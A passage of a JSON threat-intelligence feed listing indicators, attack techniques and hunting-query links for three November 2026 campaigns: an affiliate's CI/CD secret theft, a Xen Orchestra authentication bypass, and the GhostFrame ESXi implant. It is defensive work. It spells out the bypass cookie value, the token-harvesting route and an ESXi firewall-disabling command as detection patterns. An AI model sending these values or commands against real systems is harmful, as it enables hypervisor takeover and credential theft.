"recommended_action": "alert", "description": "Address that CloudSEK lists as a beacon check-in for Azazel's operation. It also serves a public website on a general hosting provider, so alert on it rather than block.", "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_label": "CloudSEK – Caught in 4K: The Gentlemen Files", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "name": "CloudSEK" } ] }, { "value": "66.203.124.135", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "MEGA API server that Azazel used as the final destination for stolen data through mega-cmd-server. It is legitimate MEGA infrastructure, so do not block it unless your organisation bans MEGA; alert on uploads from servers.", "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_label": "CloudSEK – Caught in 4K: The Gentlemen Files", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "name": "CloudSEK" } ] }, { "value": "forgitlab.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Domain name Azazel used for his staging server, chosen to look like GitLab infrastructure. It does not resolve today, so treat any hit as historical or as a sign it has been re-registered.", "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_label": "CloudSEK – Caught in 4K: The Gentlemen Files", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "name": "CloudSEK" } ] }, { "value": "ATTENTION_SENSITIVE_INFORMATION.txt", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Ransom note Azazel planted in the root and ubuntu home directories on compromised Linux servers, alongside notes in /etc/motd, the SSH banner, the PostgreSQL cluster_name and the pgAdmin login page.", "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_label": "CloudSEK – Caught in 4K: The Gentlemen Files", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "name": "CloudSEK" } ] }, { "value": "internet-census-mcp-scanner", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Client fingerprint Azazel's scanner used when probing the internet for exposed MCP servers. Search MCP server and reverse-proxy logs for it.", "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_label": "CloudSEK – Caught in 4K: The Gentlemen Files", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "name": "CloudSEK" } ] }, { "value": "hermes", "type": "other", "confidence": "low", "recommended_action": "monitor", "description": "MCP client identity Azazel used to call his exec_in_session command tool. The name is also used by legitimate software, so treat a hit only as a lead.", "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_label": "CloudSEK – Caught in 4K: The Gentlemen Files", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "name": "CloudSEK" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft/hunt.kql", "download": "Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft/hunt.spl", "download": "Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft/hunt_raw.spl", "download": "Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft/hunt.yaral", "download": "Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft_hunt.yaral" } ] }, { "id": "Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover", "folder": "threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover", "name": "Xen Orchestra Authentication Bypass (VSA-2026-062) Exploited to Take Over XCP-ng Hosts", "short": "Xen Orchestra VSA-2026-062 exploitation", "category": "Exploitation / hypervisor management", "published": "2026-11-10", "entry_date": "2026-11-11 10:05", "last_updated": "2026-11-11", "seq": 14, "headline": "Cookie-based auth bypass in the Xen Orchestra console exploited to take over XCP-ng hosts as root", "summary": "Vates reports active exploitation of VSA-2026-062, a critical authentication bypass in Xen Orchestra, the web console that manages XCP-ng virtualisation pools. A request carrying the cookie authenticationToken=j:{} (or its URL-encoded form, j:%7B%7D) makes Xen Orchestra treat the value as an empty object, return the first stored token and log the sender in as that token's owner, usually an administrator; the /rest/v0/users/me/authentication_tokens route then hands back reusable login tokens. From there an attacker can run code on managed pools and take over XCP-ng hosts as root. The threat actor operated initially from 91.211.251.112:8001 and a Tor onion service on port 3333, ran a VM named pivot2, configured VMs with a file-backed serial port and planted /etc/cron.d/zz-ustar, /etc/cron.d/zz-ustar2, /.ustar5 and /.ustar6 on hosts. Xen Orchestra does not log the bypass. Six of the eight addresses Vates lists for blocking are public Tor relays, including a Tor directory authority, so they are marked alert rather than block. The flaw has no CVE yet; it is fixed in Xen Orchestra 6.9.2 (stable) and 6.10.1 (latest), and was discovered by TDC NET Security.", "caveat": null, "targets": { "countries": [], "regions": [], "sectors": [], "note": "Vates confirms active exploitation of internet-reachable Xen Orchestra instances but does not name countries, sectors or victims.", "source": { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "label": "Vates – VSA-2026-062: Empty-object login token", "name": "Vates" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1550.001", "name": "Application Access Token", "url": "https://attack.mitre.org/techniques/T1550/001/" }, { "id": "T1564.006", "name": "Run Virtual Instance", "url": "https://attack.mitre.org/techniques/T1564/006/" }, { "id": "T1053.003", "name": "Cron", "url": "https://attack.mitre.org/techniques/T1053/003/" }, { "id": "T1090.003", "name": "Multi-hop Proxy", "url": "https://attack.mitre.org/techniques/T1090/003/" }, { "id": "T1571", "name": "Non-Standard Port", "url": "https://attack.mitre.org/techniques/T1571/" } ], "recommended_actions": [ "Update Xen Orchestra to 6.9.2 (stable) or 6.10.1 (latest), or xo-server to 5.211.2 or 5.213.1, and keep the console on a dedicated management network that is not reachable from the internet.", "Block 91.211.251.112 and 193.148.56.72 in both directions, block Tor from management networks, and search 30 days of firewall and proxy logs for these addresses and the six Tor relays.", "Add a WAF or reverse-proxy rule for authenticationToken=j:{} and authenticationToken=j:%7B%7D, and search proxy and web server logs for both patterns, because Xen Orchestra does not log the bypass.", "On every XCP-ng host, look for a VM named pivot2, VMs with hvm_serial: file, '-serial file:' in /var/log/xensource.log*, and /etc/cron.d/zz-ustar*, /.ustar5, /.ustar6 and /etc/ld.so.preload. If compromised, reinstall and rotate every Vates VMS secret, including backup remotes, the pool secret, root and user passwords, OTP secrets and mail settings." ], "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "label": "Vates – VSA-2026-062: Empty-object login token", "name": "Vates" }, { "url": "https://thehackernews.com/2026/11/hackers-exploit-critical-xen-orchestra.html", "label": "The Hacker News – Hackers Exploit Critical Xen Orchestra Auth Bypass Flaw to Gain Admin Access", "name": "The Hacker News" } ], "indicator_count": 17, "block_now_count": 2, "hunt_count": 15, "hunt_counts": { "alert": 14, "monitor": 1 }, "indicator_counts": { "ipv4": 8, "other": 5, "filename": 4 }, "ioas": [ { "artefact": "HTTP requests to Xen Orchestra with the cookie authenticationToken=j:{} or authenticationToken=j:%7B%7D", "log_source": "Reverse-proxy, WAF or packet capture in front of Xen Orchestra", "why": "This is the bypass itself, and Xen Orchestra does not log it. Other encodings can evade a naive regex.", "action": "alert", "has_query": true, "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_name": "Vates", "title": "Auth-bypass cookie sent to Xen Orchestra", "queries": [ "KQL", "SPL" ] }, { "artefact": "Requests to /rest/v0/users/me/authentication_tokens from unfamiliar addresses", "log_source": "Reverse-proxy and web logs", "why": "After the bypass this route returns reusable login tokens.", "action": "hunt", "has_query": true, "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_name": "Vates", "title": "Login-token harvesting requests", "queries": [ "KQL", "SPL" ] }, { "artefact": "A VM named pivot2, VMs with hvm_serial: file, or '-serial file:' in /var/log/xensource.log", "log_source": "XCP-ng hosts (xe vm-list, xensource.log), syslog", "why": "Vates lists these as signs of the attacker's foothold VM on compromised pools.", "action": "alert", "has_query": true, "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_name": "Vates", "title": "Attacker foothold VM on XCP-ng", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Files /etc/cron.d/zz-ustar, /etc/cron.d/zz-ustar2, /.ustar5, /.ustar6, or a new /etc/ld.so.preload", "log_source": "XCP-ng host file checks, EDR file events", "why": "Persistence files planted by this actor on XCP-ng hosts.", "action": "alert", "has_query": true, "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_name": "Vates", "title": "Persistence files on XCP-ng hosts", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 4, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover/block_now.txt", "download": "Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover/defender_xdr_indicators.csv", "download": "Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover/hunt.kql", "download": "Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover/hunt.spl", "download": "Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover/hunt_raw.spl", "download": "Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover/hunt.yaral", "download": "Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover/iocs.csv", "download": "Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover", "share_url": "https://iocwatch.com/t/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover/", "indicators": [ { "value": "91.211.251.112", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Initial command-and-control server of the threat actor exploiting Xen Orchestra VSA-2026-062, reached on port 8001; Vates recommends blocking it in both directions.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" }, { "url": "https://thehackernews.com/2026/11/hackers-exploit-critical-xen-orchestra.html", "name": "The Hacker News" } ] }, { "value": "193.148.56.72", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Threat actor address on the Vates block list for the Xen Orchestra VSA-2026-062 campaign; block it in both directions.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "37.221.208.216", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Public Tor relay that Vates lists for blocking in the Xen Orchestra VSA-2026-062 campaign, whose C2 runs over Tor. A hit shows Tor use, not an attacker-owned server; alert on it and block Tor as a whole on management networks.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "45.66.35.11", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Tor directory authority (dizum) that Vates lists for blocking in the Xen Orchestra VSA-2026-062 campaign. Every Tor client contacts directory authorities, so a hit shows Tor use, not an attacker-owned server; alert on it and block Tor as a whole on management networks.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "64.65.0.120", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Public Tor relay that Vates lists for blocking in the Xen Orchestra VSA-2026-062 campaign, whose C2 runs over Tor. A hit shows Tor use, not an attacker-owned server; alert on it and block Tor as a whole on management networks.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "64.65.62.160", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Public Tor relay that Vates lists for blocking in the Xen Orchestra VSA-2026-062 campaign, whose C2 runs over Tor. A hit shows Tor use, not an attacker-owned server; alert on it and block Tor as a whole on management networks.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "89.47.51.90", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Public Tor relay that Vates lists for blocking in the Xen Orchestra VSA-2026-062 campaign, whose C2 runs over Tor. A hit shows Tor use, not an attacker-owned server; alert on it and block Tor as a whole on management networks.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "92.60.37.247", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Public Tor relay that Vates lists for blocking in the Xen Orchestra VSA-2026-062 campaign, whose C2 runs over Tor. A hit shows Tor use, not an attacker-owned server; alert on it and block Tor as a whole on management networks.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "ustar3rqxgnskzgnwkgpofgtvxevm6cx3lxdbwt4mndtveqyaohid.onion", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Tor onion service the threat actor used for command and control on port 3333. It cannot be blocked by DNS; block Tor traffic from management networks instead.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "authenticationToken=j:{}", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Exploit cookie for VSA-2026-062: Xen Orchestra parses it as an empty object and logs the sender in as the owner of the first stored token. Search proxy, WAF and web server logs, as Xen Orchestra does not log it.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "authenticationToken=j:%7B%7D", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "URL-encoded form of the VSA-2026-062 exploit cookie. Search proxy, WAF and web server logs for it.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "pivot2", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Name of the VM the threat actor ran on compromised Xen Orchestra and XCP-ng pools.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "hvm_serial: file", "type": "other", "confidence": "med", "recommended_action": "monitor", "description": "VM platform setting that sends a VM's serial port to a file on the XCP-ng host; Vates lists VMs configured this way as a sign of this campaign.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "/etc/cron.d/zz-ustar", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Cron file the threat actor planted on XCP-ng hosts.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "/etc/cron.d/zz-ustar2", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Second cron file the threat actor planted on XCP-ng hosts.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "/.ustar5", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "File the threat actor dropped in the root directory of XCP-ng hosts.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] }, { "value": "/.ustar6", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Second file the threat actor dropped in the root directory of XCP-ng hosts.", "source_url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "source_label": "Vates – VSA-2026-062: Empty-object login token", "source_name": "Vates", "sources": [ { "url": "https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/", "name": "Vates" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover/hunt.kql", "download": "Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover/hunt.spl", "download": "Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover/hunt_raw.spl", "download": "Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover/hunt.yaral", "download": "Xen-Orchestra-VSA-2026-062-Auth-Bypass-XCP-ng-Takeover_hunt.yaral" } ] }, { "id": "GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware", "folder": "threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware", "name": "GhostFrame: ESXi Hypervisor Implant Linked to Settra Ransomware (TAG-218)", "short": "GhostFrame ESXi implant (TAG-218)", "category": "Ransomware / hypervisor", "published": "2026-11-10", "entry_date": "2026-11-11 07:54", "last_updated": "2026-11-11", "seq": 13, "headline": "ESXi hypervisor implant used by a Settra-linked group after VPN appliance intrusions in the US and Europe", "summary": "Recorded Future's Insikt Group reports GhostFrame, a previously undocumented command-and-control and post-exploitation framework for compromised VMware ESXi hosts, used by TAG-218, a group whose activity overlaps with Settra ransomware. Between late August and October 2026 TAG-218 servers targeted VPN appliances in the US and Europe, mainly SonicWall, Palo Alto Networks and Fortinet, and four of the targeted organisations later appeared on the Settra leak site. GhostFrame needs existing root access on the hypervisor: its implant, vmhostd-core, runs from a datastore, persists through /etc/rc.local.d/local.sh, keeps disabling the ESXi firewall and unsigned-binary protection, and masquerades as vmhostd. Operators can list, power off and snapshot VMs, relay VNC sessions, tunnel the ESXi Host Client, pivot with the gfsox SOCKS5 proxy, and harvest Windows credentials from VM memory, disks and datastores with sdkmon and VMkatz. The implant tries six C2 ports at once (53, 2222, 3389, 4444, 8443 and 9443), which gives a distinctive network pattern.", "caveat": null, "targets": { "countries": [ { "code": "US", "name": "United States" } ], "regions": [ "Europe" ], "sectors": [], "note": "VPN appliances of organisations in the US and Europe targeted between late August and October 2026; sectors not stated.", "source": { "url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "label": "Recorded Future Insikt Group – GhostFrame: A new ESXi Implant Linked to Settra Ransomware", "name": "Recorded Future" } }, "mitre": [ { "id": "T1133", "name": "External Remote Services", "url": "https://attack.mitre.org/techniques/T1133/" }, { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1037", "name": "Boot or Logon Initialization Scripts", "url": "https://attack.mitre.org/techniques/T1037/" }, { "id": "T1562.004", "name": "Disable or Modify System Firewall", "url": "https://attack.mitre.org/techniques/T1562/004/" }, { "id": "T1036", "name": "Masquerading", "url": "https://attack.mitre.org/techniques/T1036/" }, { "id": "T1090", "name": "Proxy", "url": "https://attack.mitre.org/techniques/T1090/" }, { "id": "T1003", "name": "OS Credential Dumping", "url": "https://attack.mitre.org/techniques/T1003/" }, { "id": "T1219", "name": "Remote Access Software", "url": "https://attack.mitre.org/techniques/T1219/" }, { "id": "T1486", "name": "Data Encrypted for Impact", "url": "https://attack.mitre.org/techniques/T1486/" } ], "recommended_actions": [ "Block the two GhostFrame C2 addresses and the MeshCentral server, and search 30 days of firewall and proxy logs for connections from ESXi management addresses and VPN appliances to them.", "Alert when one host opens near-simultaneous connections to the same external IP on ports 53, 2222, 3389, 4444, 8443 and 9443.", "On every ESXi host, check /etc/rc.local.d/local.sh and /opt for vmhostd-core, confirm the firewall is enabled and execInstalledOnly is set, and look for unexpected snapshots or VNC enabled on VMs.", "Patch and review SonicWall, Palo Alto Networks and Fortinet VPN appliances, keep ESXi management off the internet and rotate credentials for accounts on VMs hosted on an affected hypervisor." ], "sources": [ { "url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "label": "Recorded Future Insikt Group – GhostFrame: A new ESXi Implant Linked to Settra Ransomware", "name": "Recorded Future" }, { "url": "https://bazaar.abuse.ch/sample/a05eae6d07b82e2e5451a72266f21fbaf76486ef4920a820988de93e15353a10/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar" } ], "indicator_count": 4, "block_now_count": 4, "hunt_count": 0, "hunt_counts": {}, "indicator_counts": { "ipv4": 3, "sha256": 1 }, "ioas": [ { "artefact": "One host opening near-simultaneous TCP connections to the same external IP on ports 53, 2222, 3389, 4444, 8443 and 9443, retried every 5 to 12 seconds", "log_source": "Firewall, NetFlow or EDR network events from ESXi management addresses", "why": "GhostFrame tries all six ports at once and keeps the first that answers. The pattern survives C2 rotation.", "action": "alert", "has_query": true, "source_url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "source_name": "Recorded Future", "title": "One host trying six C2 ports at once", "queries": [ "KQL", "SPL" ] }, { "artefact": "Changes to /etc/rc.local.d/local.sh, a file at /opt/vmhostd-core, or a process named vmhostd (not vmware-hostd)", "log_source": "ESXi shell.log and syslog, host file checks", "why": "GhostFrame persists by copying itself to /opt/vmhostd-core and editing local.sh, then disguises its process name as vmhostd.", "action": "alert", "has_query": true, "source_url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "source_name": "Recorded Future", "title": "GhostFrame persistence on ESXi", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "The ESXi firewall being disabled (esxcli network firewall set --enabled false) or execInstalledOnly set to 0, again and again", "log_source": "ESXi shell.log, hostd.log and syslog", "why": "The implant re-disables both controls about every five seconds. Re-enabling them is not enough; find the persistence.", "action": "alert", "has_query": true, "source_url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "source_name": "Recorded Future", "title": "ESXi firewall disabled again and again", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "VNC enabled on VMs, unexpected snapshots or power changes, and the ESXi Host Client reached through an unusual tunnel", "log_source": "ESXi and vCenter events", "why": "GhostFrame operators snapshot VMs to harvest credentials with VMkatz and relay VNC sessions to the guests.", "action": "hunt", "has_query": false, "source_url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "source_name": "Recorded Future", "title": "VNC, snapshot and tunnel activity on ESXi", "queries": [] } ], "ioa_count": 4, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware/block_now.txt", "download": "GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware/defender_xdr_indicators.csv", "download": "GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": 